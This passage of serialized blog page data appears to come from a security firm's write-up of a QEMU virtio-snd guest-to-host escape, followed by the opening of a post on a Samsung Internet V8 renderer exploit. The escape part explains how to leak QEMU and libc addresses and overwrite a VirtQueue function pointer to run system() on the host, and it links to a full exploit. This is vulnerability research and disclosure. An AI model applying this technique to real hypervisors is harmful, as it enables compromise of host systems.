e":133147},"        /* get the message hdr object */\n",{"type":21,"tag":153,"props":133149,"children":133150},{"class":155,"line":3301},[133151,133156,133160,133165,133169,133173,133177,133181],{"type":21,"tag":153,"props":133152,"children":133153},{"style":160},[133154],{"type":26,"value":133155},"        msg_sz ",{"type":21,"tag":153,"props":133157,"children":133158},{"style":198},[133159],{"type":26,"value":2367},{"type":21,"tag":153,"props":133161,"children":133162},{"style":181},[133163],{"type":26,"value":133164}," iov_to_buf",{"type":21,"tag":153,"props":133166,"children":133167},{"style":160},[133168],{"type":26,"value":189},{"type":21,"tag":153,"props":133170,"children":133171},{"style":192},[133172],{"type":26,"value":54355},{"type":21,"tag":153,"props":133174,"children":133175},{"style":160},[133176],{"type":26,"value":2953},{"type":21,"tag":153,"props":133178,"children":133179},{"style":192},[133180],{"type":26,"value":126707},{"type":21,"tag":153,"props":133182,"children":133183},{"style":160},[133184],{"type":26,"value":792},{"type":21,"tag":153,"props":133186,"children":133187},{"class":155,"line":3346},[133188,133193,133197,133202],{"type":21,"tag":153,"props":133189,"children":133190},{"style":192},[133191],{"type":26,"value":133192},"                            elem",{"type":21,"tag":153,"props":133194,"children":133195},{"style":160},[133196],{"type":26,"value":2953},{"type":21,"tag":153,"props":133198,"children":133199},{"style":192},[133200],{"type":26,"value":133201},"out_num",{"type":21,"tag":153,"props":133203,"children":133204},{"style":160},[133205],{"type":26,"value":792},{"type":21,"tag":153,"props":133207,"children":133208},{"class":155,"line":3355},[133209,133214],{"type":21,"tag":153,"props":133210,"children":133211},{"style":300},[133212],{"type":26,"value":133213},"                            0",{"type":21,"tag":153,"props":133215,"children":133216},{"style":160},[133217],{"type":26,"value":792},{"type":21,"tag":153,"props":133219,"children":133220},{"class":155,"line":3364},[133221,133226],{"type":21,"tag":153,"props":133222,"children":133223},{"style":198},[133224],{"type":26,"value":133225},"                            &",{"type":21,"tag":153,"props":133227,"children":133228},{"style":160},[133229],{"type":26,"value":133230},"hdr,\n",{"type":21,"tag":153,"props":133232,"children":133233},{"class":155,"line":3376},[133234,133239],{"type":21,"tag":153,"props":133235,"children":133236},{"style":170},[133237],{"type":26,"value":133238},"                            sizeof",{"type":21,"tag":153,"props":133240,"children":133241},{"style":160},[133242],{"type":26,"value":133243},"(virtio_snd_pcm_xfer));\n",{"type":21,"tag":153,"props":133245,"children":133246},{"class":155,"line":3393},[133247,133251,133256,133260,133265],{"type":21,"tag":153,"props":133248,"children":133249},{"style":1751},[133250],{"type":26,"value":2607},{"type":21,"tag":153,"props":133252,"children":133253},{"style":160},[133254],{"type":26,"value":133255}," (msg_sz ",{"type":21,"tag":153,"props":133257,"children":133258},{"style":198},[133259],{"type":26,"value":18385},{"type":21,"tag":153,"props":133261,"children":133262},{"style":170},[133263],{"type":26,"value":133264}," sizeof",{"type":21,"tag":153,"props":133266,"children":133267},{"style":160},[133268],{"type":26,"value":133269},"(virtio_snd_pcm_xfer)) {\n",{"type":21,"tag":153,"props":133271,"children":133272},{"class":155,"line":3405},[133273,133277],{"type":21,"tag":153,"props":133274,"children":133275},{"style":1751},[133276],{"type":26,"value":62842},{"type":21,"tag":153,"props":133278,"children":133279},{"style":160},[133280],{"type":26,"value":133281}," rx_err;\n",{"type":21,"tag":153,"props":133283,"children":133284},{"class":155,"line":3427},[133285],{"type":21,"tag":153,"props":133286,"children":133287},{"style":160},[133288],{"type":26,"value":2765},{"type":21,"tag":153,"props":133290,"children":133291},{"class":155,"line":3448},[133292,133297,133301,133305,133309,133314,133318,133323],{"type":21,"tag":153,"props":133293,"children":133294},{"style":160},[133295],{"type":26,"value":133296},"        stream_id ",{"type":21,"tag":153,"props":133298,"children":133299},{"style":198},[133300],{"type":26,"value":2367},{"type":21,"tag":153,"props":133302,"children":133303},{"style":181},[133304],{"type":26,"value":128169},{"type":21,"tag":153,"props":133306,"children":133307},{"style":160},[133308],{"type":26,"value":189},{"type":21,"tag":153,"props":133310,"children":133311},{"style":192},[133312],{"type":26,"value":133313},"hdr",{"type":21,"tag":153,"props":133315,"children":133316},{"style":160},[133317],{"type":26,"value":355},{"type":21,"tag":153,"props":133319,"children":133320},{"style":192},[133321],{"type":26,"value":133322},"stream_id",{"type":21,"tag":153,"props":133324,"children":133325},{"style":160},[133326],{"type":26,"value":530},{"type":21,"tag":153,"props":133328,"children":133329},{"class":155,"line":3456},[133330],{"type":21,"tag":153,"props":133331,"children":133332},{"emptyLinePlaceholder":16},[133333],{"type":26,"value":759},{"type":21,"tag":153,"props":133335,"children":133336},{"class":155,"line":3493},[133337],{"type":21,"tag":153,"props":133338,"children":133339},{"style":160},[133340],{"type":26,"value":126336},{"type":21,"tag":153,"props":133342,"children":133343},{"class":155,"line":3509},[133344],{"type":21,"tag":153,"props":133345,"children":133346},{"emptyLinePlaceholder":16},[133347],{"type":26,"value":759},{"type":21,"tag":153,"props":133349,"children":133350},{"class":155,"line":3517},[133351,133355,133359,133363,133367,133371,133375],{"type":21,"tag":153,"props":133352,"children":133353},{"style":181},[133354],{"type":26,"value":126351},{"type":21,"tag":153,"props":133356,"children":133357},{"style":160},[133358],{"type":26,"value":189},{"type":21,"tag":153,"props":133360,"children":133361},{"style":198},[133362],{"type":26,"value":1974},{"type":21,"tag":153,"props":133364,"children":133365},{"style":192},[133366],{"type":26,"value":38954},{"type":21,"tag":153,"props":133368,"children":133369},{"style":160},[133370],{"type":26,"value":2953},{"type":21,"tag":153,"props":133372,"children":133373},{"style":192},[133374],{"type":26,"value":126372},{"type":21,"tag":153,"props":133376,"children":133377},{"style":160},[133378],{"type":26,"value":2659},{"type":21,"tag":153,"props":133380,"children":133381},{"class":155,"line":3526},[133382,133386,133390,133394,133398,133402,133406,133410,133414,133418,133422,133426,133430],{"type":21,"tag":153,"props":133383,"children":133384},{"style":160},[133385],{"type":26,"value":126384},{"type":21,"tag":153,"props":133387,"children":133388},{"style":198},[133389],{"type":26,"value":2367},{"type":21,"tag":153,"props":133391,"children":133392},{"style":181},[133393],{"type":26,"value":126393},{"type":21,"tag":153,"props":133395,"children":133396},{"style":160},[133397],{"type":26,"value":189},{"type":21,"tag":153,"props":133399,"children":133400},{"style":192},[133401],{"type":26,"value":54355},{"type":21,"tag":153,"props":133403,"children":133404},{"style":160},[133405],{"type":26,"value":2953},{"type":21,"tag":153,"props":133407,"children":133408},{"style":192},[133409],{"type":26,"value":126410},{"type":21,"tag":153,"props":133411,"children":133412},{"style":160},[133413],{"type":26,"value":1670},{"type":21,"tag":153,"props":133415,"children":133416},{"style":192},[133417],{"type":26,"value":54355},{"type":21,"tag":153,"props":133419,"children":133420},{"style":160},[133421],{"type":26,"value":2953},{"type":21,"tag":153,"props":133423,"children":133424},{"style":192},[133425],{"type":26,"value":126427},{"type":21,"tag":153,"props":133427,"children":133428},{"style":160},[133429],{"type":26,"value":2362},{"type":21,"tag":153,"props":133431,"children":133432},{"style":198},[133433],{"type":26,"value":53152},{"type":21,"tag":153,"props":133435,"children":133436},{"class":155,"line":3607},[133437,133441],{"type":21,"tag":153,"props":133438,"children":133439},{"style":170},[133440],{"type":26,"value":126443},{"type":21,"tag":153,"props":133442,"children":133443},{"style":160},[133444],{"type":26,"value":133445},"(virtio_snd_pcm_status);\n",{"type":21,"tag":153,"props":133447,"children":133448},{"class":155,"line":3615},[133449,133453,133457,133461,133465,133469,133473,133477,133482],{"type":21,"tag":153,"props":133450,"children":133451},{"style":160},[133452],{"type":26,"value":126461},{"type":21,"tag":153,"props":133454,"children":133455},{"style":198},[133456],{"type":26,"value":2367},{"type":21,"tag":153,"props":133458,"children":133459},{"style":181},[133460],{"type":26,"value":126470},{"type":21,"tag":153,"props":133462,"children":133463},{"style":160},[133464],{"type":26,"value":189},{"type":21,"tag":153,"props":133466,"children":133467},{"style":170},[133468],{"type":26,"value":57619},{"type":21,"tag":153,"props":133470,"children":133471},{"style":160},[133472],{"type":26,"value":126483},{"type":21,"tag":153,"props":133474,"children":133475},{"style":198},[133476],{"type":26,"value":4099},{"type":21,"tag":153,"props":133478,"children":133479},{"style":160},[133480],{"type":26,"value":133481}," size);",{"type":21,"tag":153,"props":133483,"children":133484},{"style":3050},[133485],{"type":26,"value":133486},"    // [1]\n",{"type":21,"tag":153,"props":133488,"children":133489},{"class":155,"line":3629},[133490,133494,133498,133502,133506],{"type":21,"tag":153,"props":133491,"children":133492},{"style":192},[133493],{"type":26,"value":126500},{"type":21,"tag":153,"props":133495,"children":133496},{"style":160},[133497],{"type":26,"value":2953},{"type":21,"tag":153,"props":133499,"children":133500},{"style":192},[133501],{"type":26,"value":54355},{"type":21,"tag":153,"props":133503,"children":133504},{"style":198},[133505],{"type":26,"value":255},{"type":21,"tag":153,"props":133507,"children":133508},{"style":160},[133509],{"type":26,"value":126517},{"type":21,"tag":153,"props":133511,"children":133512},{"class":155,"line":26297},[133513,133517,133521,133525,133529,133534],{"type":21,"tag":153,"props":133514,"children":133515},{"style":192},[133516],{"type":26,"value":126500},{"type":21,"tag":153,"props":133518,"children":133519},{"style":160},[133520],{"type":26,"value":2953},{"type":21,"tag":153,"props":133522,"children":133523},{"style":192},[133524],{"type":26,"value":126169},{"type":21,"tag":153,"props":133526,"children":133527},{"style":198},[133528],{"type":26,"value":255},{"type":21,"tag":153,"props":133530,"children":133531},{"style":160},[133532],{"type":26,"value":133533}," vq;",{"type":21,"tag":153,"props":133535,"children":133536},{"style":3050},[133537],{"type":26,"value":133538},"                                            // [2]\n",{"type":21,"tag":153,"props":133540,"children":133541},{"class":155,"line":26330},[133542,133546,133550,133554,133558,133562],{"type":21,"tag":153,"props":133543,"children":133544},{"style":192},[133545],{"type":26,"value":126500},{"type":21,"tag":153,"props":133547,"children":133548},{"style":160},[133549],{"type":26,"value":2953},{"type":21,"tag":153,"props":133551,"children":133552},{"style":192},[133553],{"type":26,"value":126557},{"type":21,"tag":153,"props":133555,"children":133556},{"style":198},[133557],{"type":26,"value":255},{"type":21,"tag":153,"props":133559,"children":133560},{"style":300},[133561],{"type":26,"value":5799},{"type":21,"tag":153,"props":133563,"children":133564},{"style":160},[133565],{"type":26,"value":1759},{"type":21,"tag":153,"props":133567,"children":133568},{"class":155,"line":26338},[133569,133573,133577,133581,133585,133589],{"type":21,"tag":153,"props":133570,"children":133571},{"style":192},[133572],{"type":26,"value":126500},{"type":21,"tag":153,"props":133574,"children":133575},{"style":160},[133576],{"type":26,"value":2953},{"type":21,"tag":153,"props":133578,"children":133579},{"style":192},[133580],{"type":26,"value":16610},{"type":21,"tag":153,"props":133582,"children":133583},{"style":198},[133584],{"type":26,"value":255},{"type":21,"tag":153,"props":133586,"children":133587},{"style":300},[133588],{"type":26,"value":5799},{"type":21,"tag":153,"props":133590,"children":133591},{"style":160},[133592],{"type":26,"value":1759},{"type":21,"tag":153,"props":133594,"children":133595},{"class":155,"line":26346},[133596,133600,133604,133608,133612,133616,133620],{"type":21,"tag":153,"props":133597,"children":133598},{"style":181},[133599],{"type":26,"value":126604},{"type":21,"tag":153,"props":133601,"children":133602},{"style":160},[133603],{"type":26,"value":189},{"type":21,"tag":153,"props":133605,"children":133606},{"style":198},[133607],{"type":26,"value":1974},{"type":21,"tag":153,"props":133609,"children":133610},{"style":192},[133611],{"type":26,"value":38954},{"type":21,"tag":153,"props":133613,"children":133614},{"style":160},[133615],{"type":26,"value":2953},{"type":21,"tag":153,"props":133617,"children":133618},{"style":192},[133619],{"type":26,"value":126625},{"type":21,"tag":153,"props":133621,"children":133622},{"style":160},[133623],{"type":26,"value":133624},", buffer, entry);\n",{"type":21,"tag":153,"props":133626,"children":133627},{"class":155,"line":26355},[133628],{"type":21,"tag":153,"props":133629,"children":133630},{"style":160},[133631],{"type":26,"value":2765},{"type":21,"tag":22,"props":133633,"children":133634},{},[133635,133636,133641,133643,133648,133650,133655,133657,133663],{"type":26,"value":126679},{"type":21,"tag":78,"props":133637,"children":133639},{"className":133638},[],[133640],{"type":26,"value":126685},{"type":26,"value":133642},", QEMU allocates a ",{"type":21,"tag":78,"props":133644,"children":133646},{"className":133645},[],[133647],{"type":26,"value":126822},{"type":26,"value":133649}," whose size depends on the guest-provided iovec, and at ",{"type":21,"tag":78,"props":133651,"children":133653},{"className":133652},[],[133654],{"type":26,"value":126720},{"type":26,"value":133656}," it stores the ",{"type":21,"tag":78,"props":133658,"children":133660},{"className":133659},[],[133661],{"type":26,"value":133662},"VirtQueue *vq",{"type":26,"value":133664}," pointer into the buffer.",{"type":21,"tag":22,"props":133666,"children":133667},{},[133668,133669,133675],{"type":26,"value":66510},{"type":21,"tag":78,"props":133670,"children":133672},{"className":133671},[],[133673],{"type":26,"value":133674},"VirtQueue",{"type":26,"value":133676}," structure contains some useful fields:",{"type":21,"tag":143,"props":133678,"children":133680},{"code":133679,"language":5896,"meta":7,"className":19212,"style":7},"struct VirtQueue\n{\n    [...]\n\n    VirtIOHandleOutput handle_output;\n    VirtIODevice *vdev;\n\n    [...]\n};\n",[133681],{"type":21,"tag":78,"props":133682,"children":133683},{"__ignoreMap":7},[133684,133696,133703,133710,133717,133725,133742,133749,133756],{"type":21,"tag":153,"props":133685,"children":133686},{"class":155,"line":156},[133687,133691],{"type":21,"tag":153,"props":133688,"children":133689},{"style":170},[133690],{"type":26,"value":12123},{"type":21,"tag":153,"props":133692,"children":133693},{"style":160},[133694],{"type":26,"value":133695}," VirtQueue\n",{"type":21,"tag":153,"props":133697,"children":133698},{"class":155,"line":166},[133699],{"type":21,"tag":153,"props":133700,"children":133701},{"style":160},[133702],{"type":26,"value":13601},{"type":21,"tag":153,"props":133704,"children":133705},{"class":155,"line":225},[133706],{"type":21,"tag":153,"props":133707,"children":133708},{"style":160},[133709],{"type":26,"value":107098},{"type":21,"tag":153,"props":133711,"children":133712},{"class":155,"line":239},[133713],{"type":21,"tag":153,"props":133714,"children":133715},{"emptyLinePlaceholder":16},[133716],{"type":26,"value":759},{"type":21,"tag":153,"props":133718,"children":133719},{"class":155,"line":382},[133720],{"type":21,"tag":153,"props":133721,"children":133722},{"style":160},[133723],{"type":26,"value":133724},"    VirtIOHandleOutput handle_output;\n",{"type":21,"tag":153,"props":133726,"children":133727},{"class":155,"line":501},[133728,133733,133737],{"type":21,"tag":153,"props":133729,"children":133730},{"style":160},[133731],{"type":26,"value":133732},"    VirtIODevice ",{"type":21,"tag":153,"props":133734,"children":133735},{"style":198},[133736],{"type":26,"value":313},{"type":21,"tag":153,"props":133738,"children":133739},{"style":160},[133740],{"type":26,"value":133741},"vdev;\n",{"type":21,"tag":153,"props":133743,"children":133744},{"class":155,"line":533},[133745],{"type":21,"tag":153,"props":133746,"children":133747},{"emptyLinePlaceholder":16},[133748],{"type":26,"value":759},{"type":21,"tag":153,"props":133750,"children":133751},{"class":155,"line":542},[133752],{"type":21,"tag":153,"props":133753,"children":133754},{"style":160},[133755],{"type":26,"value":107098},{"type":21,"tag":153,"props":133757,"children":133758},{"class":155,"line":762},[133759],{"type":21,"tag":153,"props":133760,"children":133761},{"style":160},[133762],{"type":26,"value":19275},{"type":21,"tag":22,"props":133764,"children":133765},{},[133766,133767,133773,133775,133781],{"type":26,"value":19311},{"type":21,"tag":78,"props":133768,"children":133770},{"className":133769},[],[133771],{"type":26,"value":133772},".handle_output",{"type":26,"value":133774}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":21,"tag":78,"props":133776,"children":133778},{"className":133777},[],[133779],{"type":26,"value":133780},".vdev",{"type":26,"value":133782}," is the pointer passed to it as the first argument:",{"type":21,"tag":143,"props":133784,"children":133786},{"code":133785,"language":5896,"meta":7,"className":19212,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n    if (vq->vring.desc && vq->handle_output) {\n        VirtIODevice *vdev = vq->vdev;\n\n        [...]\n\n        vq->handle_output(vdev, vq);\n\n        [...]\n    }\n}\n",[133787],{"type":21,"tag":78,"props":133788,"children":133789},{"__ignoreMap":7},[133790,133823,133830,133885,133922,133929,133936,133943,133964,133971,133978,133985],{"type":21,"tag":153,"props":133791,"children":133792},{"class":155,"line":156},[133793,133797,133801,133806,133811,133815,133819],{"type":21,"tag":153,"props":133794,"children":133795},{"style":170},[133796],{"type":26,"value":53335},{"type":21,"tag":153,"props":133798,"children":133799},{"style":170},[133800],{"type":26,"value":53340},{"type":21,"tag":153,"props":133802,"children":133803},{"style":181},[133804],{"type":26,"value":133805}," virtio_queue_notify_vq",{"type":21,"tag":153,"props":133807,"children":133808},{"style":160},[133809],{"type":26,"value":133810},"(VirtQueue ",{"type":21,"tag":153,"props":133812,"children":133813},{"style":198},[133814],{"type":26,"value":313},{"type":21,"tag":153,"props":133816,"children":133817},{"style":192},[133818],{"type":26,"value":126169},{"type":21,"tag":153,"props":133820,"children":133821},{"style":160},[133822],{"type":26,"value":5909},{"type":21,"tag":153,"props":133824,"children":133825},{"class":155,"line":166},[133826],{"type":21,"tag":153,"props":133827,"children":133828},{"style":160},[133829],{"type":26,"value":13601},{"type":21,"tag":153,"props":133831,"children":133832},{"class":155,"line":225},[133833,133837,133841,133845,133849,133854,133858,133863,133867,133872,133876,133881],{"type":21,"tag":153,"props":133834,"children":133835},{"style":1751},[133836],{"type":26,"value":2434},{"type":21,"tag":153,"props":133838,"children":133839},{"style":160},[133840],{"type":26,"value":5820},{"type":21,"tag":153,"props":133842,"children":133843},{"style":192},[133844],{"type":26,"value":126169},{"type":21,"tag":153,"props":133846,"children":133847},{"style":160},[133848],{"type":26,"value":2953},{"type":21,"tag":153,"props":133850,"children":133851},{"style":192},[133852],{"type":26,"value":133853},"vring",{"type":21,"tag":153,"props":133855,"children":133856},{"style":160},[133857],{"type":26,"value":355},{"type":21,"tag":153,"props":133859,"children":133860},{"style":192},[133861],{"type":26,"value":133862},"desc",{"type":21,"tag":153,"props":133864,"children":133865},{"style":198},[133866],{"type":26,"value":16893},{"type":21,"tag":153,"props":133868,"children":133869},{"style":192},[133870],{"type":26,"value":133871}," vq",{"type":21,"tag":153,"props":133873,"children":133874},{"style":160},[133875],{"type":26,"value":2953},{"type":21,"tag":153,"props":133877,"children":133878},{"style":192},[133879],{"type":26,"value":133880},"handle_output",{"type":21,"tag":153,"props":133882,"children":133883},{"style":160},[133884],{"type":26,"value":2659},{"type":21,"tag":153,"props":133886,"children":133887},{"class":155,"line":239},[133888,133893,133897,133902,133906,133910,133914,133918],{"type":21,"tag":153,"props":133889,"children":133890},{"style":160},[133891],{"type":26,"value":133892},"        VirtIODevice ",{"type":21,"tag":153,"props":133894,"children":133895},{"style":198},[133896],{"type":26,"value":313},{"type":21,"tag":153,"props":133898,"children":133899},{"style":160},[133900],{"type":26,"value":133901},"vdev ",{"type":21,"tag":153,"props":133903,"children":133904},{"style":198},[133905],{"type":26,"value":2367},{"type":21,"tag":153,"props":133907,"children":133908},{"style":192},[133909],{"type":26,"value":133871},{"type":21,"tag":153,"props":133911,"children":133912},{"style":160},[133913],{"type":26,"value":2953},{"type":21,"tag":153,"props":133915,"children":133916},{"style":192},[133917],{"type":26,"value":126155},{"type":21,"tag":153,"props":133919,"children":133920},{"style":160},[133921],{"type":26,"value":1759},{"type":21,"tag":153,"props":133923,"children":133924},{"class":155,"line":382},[133925],{"type":21,"tag":153,"props":133926,"children":133927},{"emptyLinePlaceholder":16},[133928],{"type":26,"value":759},{"type":21,"tag":153,"props":133930,"children":133931},{"class":155,"line":501},[133932],{"type":21,"tag":153,"props":133933,"children":133934},{"style":160},[133935],{"type":26,"value":126336},{"type":21,"tag":153,"props":133937,"children":133938},{"class":155,"line":533},[133939],{"type":21,"tag":153,"props":133940,"children":133941},{"emptyLinePlaceholder":16},[133942],{"type":26,"value":759},{"type":21,"tag":153,"props":133944,"children":133945},{"class":155,"line":542},[133946,133951,133955,133959],{"type":21,"tag":153,"props":133947,"children":133948},{"style":192},[133949],{"type":26,"value":133950},"        vq",{"type":21,"tag":153,"props":133952,"children":133953},{"style":160},[133954],{"type":26,"value":2953},{"type":21,"tag":153,"props":133956,"children":133957},{"style":181},[133958],{"type":26,"value":133880},{"type":21,"tag":153,"props":133960,"children":133961},{"style":160},[133962],{"type":26,"value":133963},"(vdev, vq);\n",{"type":21,"tag":153,"props":133965,"children":133966},{"class":155,"line":762},[133967],{"type":21,"tag":153,"props":133968,"children":133969},{"emptyLinePlaceholder":16},[133970],{"type":26,"value":759},{"type":21,"tag":153,"props":133972,"children":133973},{"class":155,"line":776},[133974],{"type":21,"tag":153,"props":133975,"children":133976},{"style":160},[133977],{"type":26,"value":126336},{"type":21,"tag":153,"props":133979,"children":133980},{"class":155,"line":795},[133981],{"type":21,"tag":153,"props":133982,"children":133983},{"style":160},[133984],{"type":26,"value":539},{"type":21,"tag":153,"props":133986,"children":133987},{"class":155,"line":808},[133988],{"type":21,"tag":153,"props":133989,"children":133990},{"style":160},[133991],{"type":26,"value":548},{"type":21,"tag":22,"props":133993,"children":133994},{},[133995,133997,134002,134004,134009,134011,134017,134019,134024,134025,134030,134032,134037],{"type":26,"value":133996},"This means that if we free the known-address chunk and replace it with a ",{"type":21,"tag":78,"props":133998,"children":134000},{"className":133999},[],[134001],{"type":26,"value":126822},{"type":26,"value":134003}," - which is straightforward, since we control the buffer allocation size through the ",{"type":21,"tag":78,"props":134005,"children":134007},{"className":134006},[],[134008],{"type":26,"value":126410},{"type":26,"value":134010}," iovec - we can use the arbitrary read primitive to read its ",{"type":21,"tag":78,"props":134012,"children":134014},{"className":134013},[],[134015],{"type":26,"value":134016},".vq",{"type":26,"value":134018}," pointer, then follow that pointer to leak ",{"type":21,"tag":78,"props":134020,"children":134022},{"className":134021},[],[134023],{"type":26,"value":133772},{"type":26,"value":18750},{"type":21,"tag":78,"props":134026,"children":134028},{"className":134027},[],[134029],{"type":26,"value":133674},{"type":26,"value":134031}," structure. In our case, that field points to ",{"type":21,"tag":78,"props":134033,"children":134035},{"className":134034},[],[134036],{"type":26,"value":126062},{"type":26,"value":134038},", which gives us QEMU's base address.",{"type":21,"tag":22,"props":134040,"children":134041},{},[134042,134044,134050],{"type":26,"value":134043},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":21,"tag":78,"props":134045,"children":134047},{"className":134046},[],[134048],{"type":26,"value":134049},"system",{"type":26,"value":355},{"type":21,"tag":114,"props":134052,"children":134054},{"id":134053},"rip-control",[134055],{"type":26,"value":134056},"RIP Control",{"type":21,"tag":22,"props":134058,"children":134059},{},[134060,134062,134067,134069,134075],{"type":26,"value":134061},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":21,"tag":78,"props":134063,"children":134065},{"className":134064},[],[134066],{"type":26,"value":134049},{"type":26,"value":134068},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":21,"tag":78,"props":134070,"children":134072},{"className":134071},[],[134073],{"type":26,"value":134074},"VirtQueue.handle_output",{"type":26,"value":355},{"type":21,"tag":22,"props":134077,"children":134078},{},[134079,134081,134086,134088,134093,134095,134100],{"type":26,"value":134080},"We overwrite ",{"type":21,"tag":78,"props":134082,"children":134084},{"className":134083},[],[134085],{"type":26,"value":133772},{"type":26,"value":134087}," with the address of ",{"type":21,"tag":78,"props":134089,"children":134091},{"className":134090},[],[134092],{"type":26,"value":134049},{"type":26,"value":134094}," and write the command string we want to execute into memory using our arbitrary write. Then we overwrite ",{"type":21,"tag":78,"props":134096,"children":134098},{"className":134097},[],[134099],{"type":26,"value":133780},{"type":26,"value":134101}," with the address of that command string, so it is passed as the first argument.",{"type":21,"tag":22,"props":134103,"children":134104},{},[134105,134107,134113,134115,134121,134123,134129],{"type":26,"value":134106},"Then, we simply notify the virtqueue from the guest. QEMU enters ",{"type":21,"tag":78,"props":134108,"children":134110},{"className":134109},[],[134111],{"type":26,"value":134112},"virtio_queue_notify_vq",{"type":26,"value":134114},", which calls ",{"type":21,"tag":78,"props":134116,"children":134118},{"className":134117},[],[134119],{"type":26,"value":134120},"vq->handle_output(vq->vdev)",{"type":26,"value":134122}," - or, after our overwrites, ",{"type":21,"tag":78,"props":134124,"children":134126},{"className":134125},[],[134127],{"type":26,"value":134128},"system(command)",{"type":26,"value":355},{"type":21,"tag":22,"props":134131,"children":134132},{},[134133,134135,134141,134143],{"type":26,"value":134134},"Finally, with all of this, we achieve a reliable guest-to-host escape and execute ",{"type":21,"tag":78,"props":134136,"children":134138},{"className":134137},[],[134139],{"type":26,"value":134140},"gnome-calculator",{"type":26,"value":134142}," on the host system:\n",{"type":21,"tag":33663,"props":134144,"children":134145},{},[],{"type":21,"tag":134147,"props":134148,"children":134157},"tweet-card",{"author-name":134149,"date":134150,"duration":134151,"handle":134152,"media-mime-type":134153,"media-src":134154,"media-type":134155,"tweet-url":134156},"OtterSec","March 5, 2026","0:12","@osec_io","video/mp4","/posts/virtio-snd-qemu-0day/demo.mp4","video","https://x.com/osec_io/status/2029643325125390550",[134158,134163,134168],{"type":21,"tag":22,"props":134159,"children":134160},{},[134161],{"type":26,"value":134162},"We recently achieved guest-to-host escape by exploiting a QEMU 0day.",{"type":21,"tag":22,"props":134164,"children":134165},{},[134166],{"type":26,"value":134167},"We’ll share details on a new technique leveraging the latest glibc allocator behavior and what we believe is a novel QEMU-specific heap spray/RIP-control primitive.",{"type":21,"tag":22,"props":134169,"children":134170},{},[134171],{"type":26,"value":134172},"Writeup coming next week.",{"type":21,"tag":33663,"props":134174,"children":134175},{},[],{"type":21,"tag":22,"props":134177,"children":134178},{},[134179,134181,134187,134189,134195],{"type":26,"value":134180},"The final exploit, targeting QEMU commit ",{"type":21,"tag":78,"props":134182,"children":134184},{"className":134183},[],[134185],{"type":26,"value":134186},"ece408818d27f745ef1b05fb3cc99a1e7a5bf580",{"type":26,"value":134188}," (Feb 13, 2026) and the latest glibc 2.43, can be found ",{"type":21,"tag":29,"props":134190,"children":134193},{"href":134191,"rel":134192},"https://github.com/otter-sec/qemu-escape",[33],[134194],{"type":26,"value":49874},{"type":26,"value":355},{"type":21,"tag":22,"props":134197,"children":134198},{},[134199,134201,134208],{"type":26,"value":134200},"Special thanks to ",{"type":21,"tag":29,"props":134202,"children":134205},{"href":134203,"rel":134204},"https://www.willsroot.io/",[33],[134206],{"type":26,"value":134207},"William Liu",{"type":26,"value":134209}," for proofreading this post and helping us polish it before publication.",{"type":21,"tag":66,"props":134211,"children":134212},{"id":5568},[134213],{"type":26,"value":5571},{"type":21,"tag":22,"props":134215,"children":134216},{},[134217],{"type":26,"value":134218},"Starting from a heap overflow where the written bytes are effectively random, we showed how careful heap grooming and a favorable change in glibc 2.43's allocator can turn even a single byte of uncontrolled corruption into a reliable guest-to-host escape.",{"type":21,"tag":22,"props":134220,"children":134221},{},[134222],{"type":26,"value":134223},"More broadly, this exploit is a reminder that weak-looking primitives should not be dismissed too quickly - with the right heap layout and target, even highly constrained corruption can be enough.",{"type":21,"tag":5603,"props":134225,"children":134226},{},[134227],{"type":26,"value":5607},{"title":7,"searchDepth":166,"depth":166,"links":134229},[134230,134233,134236,134245],{"id":125958,"depth":166,"text":125971,"children":134231},[134232],{"id":125979,"depth":225,"text":125982},{"id":126003,"depth":166,"text":126006,"children":134234},[134235],{"id":126017,"depth":225,"text":126017},{"id":102405,"depth":166,"text":102408,"children":134237},[134238,134239,134240,134241,134242,134243,134244],{"id":128609,"depth":225,"text":128612},{"id":130136,"depth":225,"text":130139},{"id":130930,"depth":225,"text":130933},{"id":131335,"depth":225,"text":131338},{"id":131551,"depth":225,"text":131554},{"id":131757,"depth":225,"text":131760},{"id":134053,"depth":225,"text":134056},{"id":5568,"depth":166,"text":5571},"content:blog:2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape.md","blog/2026-03-17-virtio-snd-qemu-hypervisor-escape",{"_path":134250,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":134251,"description":134252,"date":134253,"author":134254,"image":134257,"isFeatured":16,"onBlogPage":16,"tags":134259,"body":134262,"_type":5619,"_id":144170,"_source":5621,"_file":144171,"_stem":144172,"_extension":5624},"/blog/2026-04-01-patch-gap-to-mobile-renderer-rce","Patch Gap to Mobile Renderer RCE: Pwning Samsung Internet's V8 on the Galaxy S25","Samsung Internet on the Galaxy S25 shipped a six-month-old version of V8, exposing it to publicly known bugs. Learn how we exploited a bytecode interpreter vulnerability to achieve renderer RCE and universal XSS in the browser.","2026-04-01T12:00:00.000Z",[125954,134255,134256],"jamie","william",{"src":134258,"width":99565,"height":16340},"/posts/mobile-renderer-rce/title.png",[134260,134261],"RCE","mobile",{"type":18,"children":134263,"toc":144150},[134264,134268,134273,134287,134293,134307,134328,134336,134349,134357,134370,134376,134389,134403,134409,134423,134526,134531,134539,134544,134549,134570,134648,134656,134675,134688,134694,134700,134714,134830,134835,134840,134848,134853,134861,134889,134918,134930,135106,135111,135119,135138,135151,135157,135177,135191,135196,135201,135229,135265,135334,135340,135362,135367,135375,135388,135393,135401,135406,135445,135451,135464,135469,135647,135657,135665,135685,135709,135722,135728,135733,136375,136380,136388,136430,138419,138424,138432,138438,138471,138489,138659,138717,138742,138836,138841,139632,139637,139645,139656,141700,141705,141713,141719,141741,141755,141768,141780,141810,141815,142256,142284,142391,142408,142565,142570,142582,142878,142904,142927,143059,143071,143076,143228,143264,143277,143282,143404,143445,143522,143527,144101,144107,144119,144132,144136,144141,144146],{"type":21,"tag":66,"props":134265,"children":134266},{"id":31710},[134267],{"type":26,"value":31713},{"type":21,"tag":22,"props":134269,"children":134270},{},[134271],{"type":26,"value":134272},"The supply chain dependency in today's software landscape is extremely complex. Any vulnerability in a core library creates an exploitable window for its dependents - maintainers either fall behind on the exhausting update schedule, backport incorrectly, or even forget about it 